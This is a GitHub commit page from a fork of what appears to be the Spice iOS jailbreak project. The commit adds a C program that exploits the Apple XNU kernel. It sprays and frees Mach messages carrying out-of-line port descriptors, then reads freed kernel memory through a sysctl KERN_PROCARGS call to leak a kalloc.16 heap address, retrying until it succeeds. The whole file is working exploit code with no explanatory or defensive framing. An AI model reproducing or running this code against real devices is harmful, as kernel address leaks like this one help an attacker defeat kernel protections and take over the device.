forked from JakeBlair420/Spice
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
b9c1bce
commit 7e3e645
Showing
1 changed file
with
159 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,159 @@ | ||
#include <mach/mach.h> | ||
#include <fcntl.h> | ||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <unistd.h> | ||
#include <sys/types.h> | ||
#include <sys/sysctl.h> | ||
#include <errno.h> | ||
#include <stdbool.h> | ||
|
||
int main() { | ||
retry:; | ||
|
||
#define MY_PAGE_SIZE 0x1000 | ||
#define LEAK_MACH_MSG_SIZE (0x4000*3+MY_PAGE_SIZE) | ||
#define PIPEBUFFER_SIZE MY_PAGE_SIZE | ||
#define HOW_MANY_PIPEBUFFERS 3 | ||
#define LEAK_SIZE 0x200 | ||
int error; | ||
|
||
// create the mach msg | ||
typedef struct { | ||
mach_msg_header_t head; | ||
mach_msg_body_t body; | ||
} spray_mach_msg_t; | ||
spray_mach_msg_t * spray_msg = malloc(LEAK_MACH_MSG_SIZE); | ||
memset(spray_msg,0,LEAK_MACH_MSG_SIZE); | ||
spray_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX; | ||
spray_msg->head.msgh_local_port = MACH_PORT_NULL; | ||
spray_msg->head.msgh_size = (LEAK_MACH_MSG_SIZE-0xc0)/16*12 + sizeof(spray_mach_msg_t); | ||
|
||
unsigned char * pattern = ((void*)spray_msg); | ||
for (int i = sizeof(spray_mach_msg_t); i < LEAK_MACH_MSG_SIZE; i++) { | ||
pattern[i] = i&0xff; | ||
} | ||
size_t descriptor_cnt = (LEAK_MACH_MSG_SIZE-0xc0)/16; | ||
descriptor_cnt -= 829; | ||
spray_msg->body.msgh_descriptor_count = descriptor_cnt; | ||
mach_port_t * test_port = malloc(MY_PAGE_SIZE); | ||
memset(test_port,0,MY_PAGE_SIZE); | ||
for (int i = 0; i < descriptor_cnt; i++) { | ||
/* | ||
mach_msg_port_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_port_descriptor_t); | ||
desc->name = MACH_PORT_NULL; | ||
desc->disposition = MACH_MSG_TYPE_COPY_SEND; | ||
desc->type = MACH_MSG_PORT_DESCRIPTOR; | ||
*/ | ||
mach_msg_ool_ports_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_ool_ports_descriptor_t); | ||
memset(desc,0,sizeof(mach_msg_ool_ports_descriptor_t)); | ||
desc->address = test_port; | ||
desc->count = 0; | ||
desc->disposition = MACH_MSG_TYPE_MOVE_RECEIVE; | ||
desc->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | ||
} | ||
for (int i = descriptor_cnt-1; i < descriptor_cnt; i++) { | ||
mach_msg_ool_ports_descriptor_t * desc = ((void*)spray_msg)+sizeof(spray_mach_msg_t)+i*sizeof(mach_msg_ool_ports_descriptor_t); | ||
memset(desc,0,sizeof(mach_msg_ool_ports_descriptor_t)); | ||
desc->address = test_port; | ||
desc->count = 2; | ||
desc->disposition = MACH_MSG_TYPE_MOVE_RECEIVE; | ||
desc->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | ||
} | ||
|
||
// perpare the buffer for the leak, we wanna be fast | ||
unsigned char * leaked_kernel_mem = malloc(LEAK_SIZE); | ||
memset(leaked_kernel_mem,0,LEAK_SIZE); | ||
|
||
// create a port | ||
mach_port_t msg_port; | ||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_port); | ||
spray_msg->head.msgh_remote_port = msg_port; | ||
|
||
// send mach msgs to the port | ||
for (int i = 0; i < 5; i++) { | ||
if((error = mach_msg(&spray_msg->head,MACH_SEND_MSG,spray_msg->head.msgh_size,0,0,0,0))) { | ||
printf("mach_msg failed %d\n",error); | ||
return 0; | ||
} | ||
} | ||
|
||
// destroy the port which will free all the mach msgs | ||
mach_port_destroy(mach_task_self(),msg_port); | ||
|
||
spray_msg->head.msgh_size = LEAK_MACH_MSG_SIZE-MY_PAGE_SIZE; | ||
spray_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | ||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_port); | ||
spray_msg->head.msgh_remote_port = msg_port; | ||
|
||
// send mach msgs to the port | ||
for (int i = 0; i < 5; i++) { | ||
if((error = mach_msg(&spray_msg->head,MACH_SEND_MSG,spray_msg->head.msgh_size,0,0,0,0))) { | ||
printf("mach_msg failed %d\n",error); | ||
} | ||
} | ||
|
||
|
||
for (int z = 0; z < 10; z++) { | ||
// try to leak using the sysctl stuff | ||
size_t oldlenp = LEAK_SIZE; | ||
int mib[3]; | ||
mib[0] = CTL_KERN; | ||
mib[1] = KERN_PROCARGS; | ||
mib[2] = getpid(); | ||
if((error = sysctl(mib,3,leaked_kernel_mem,&oldlenp,NULL,0))) { | ||
printf("sysctl failed %d %d\n",error,errno); | ||
} | ||
printf("Got:\n"); | ||
// check if we got something which looks like our mach msg back, if not, go back to `create a port` | ||
for (int i = 0; i < LEAK_SIZE; i++) { | ||
if (i % 0x10 == 0) {printf("\n");} | ||
printf("%02x ",leaked_kernel_mem[i]); | ||
} | ||
printf("\n"); | ||
bool found = true; | ||
#pragma pack(push,1) | ||
struct right_leak { | ||
char pad0[6]; | ||
unsigned char check0; | ||
unsigned char check1; | ||
char pad1[4]; | ||
uint64_t bae; | ||
char pad2[2]; | ||
unsigned char check2; | ||
unsigned char check3; | ||
unsigned char check4; | ||
}; | ||
#pragma pack(pop) | ||
for (int row = 0; row < 27; row++) { | ||
for (int colum = 0; colum < 16; colum++) { | ||
if (colum < 6 && leaked_kernel_mem[row*16+colum] != 0) { | ||
found = false; | ||
} | ||
if (colum == 6 && leaked_kernel_mem[row*16+colum] != 0x10) { | ||
found = false; | ||
} | ||
if (colum == 7 && leaked_kernel_mem[row*16+colum] != 0x02) { | ||
found = false; | ||
} | ||
if (colum > 7 && leaked_kernel_mem[row*16+colum] != 0x0) { | ||
found = false; | ||
} | ||
} | ||
} | ||
if (found) { | ||
struct right_leak * test_mem = leaked_kernel_mem + 26*16; | ||
printf("Good so far\n"); | ||
if (test_mem->check0 != 0x10 || test_mem->check1 != 0x02 || test_mem->check2 != 0x10 || test_mem->check3 != 0x02 || test_mem->check4 != 0x02) {continue;} // not the right data | ||
// TODO: pads must be zero we can verify that here | ||
printf("kalloc.16 is @ %llx\n",test_mem->bae); | ||
return 0; | ||
} | ||
} | ||
|
||
mach_port_destroy(mach_task_self(),msg_port); | ||
free(spray_msg); | ||
free(leaked_kernel_mem); | ||
goto retry; | ||
return 0; | ||
} |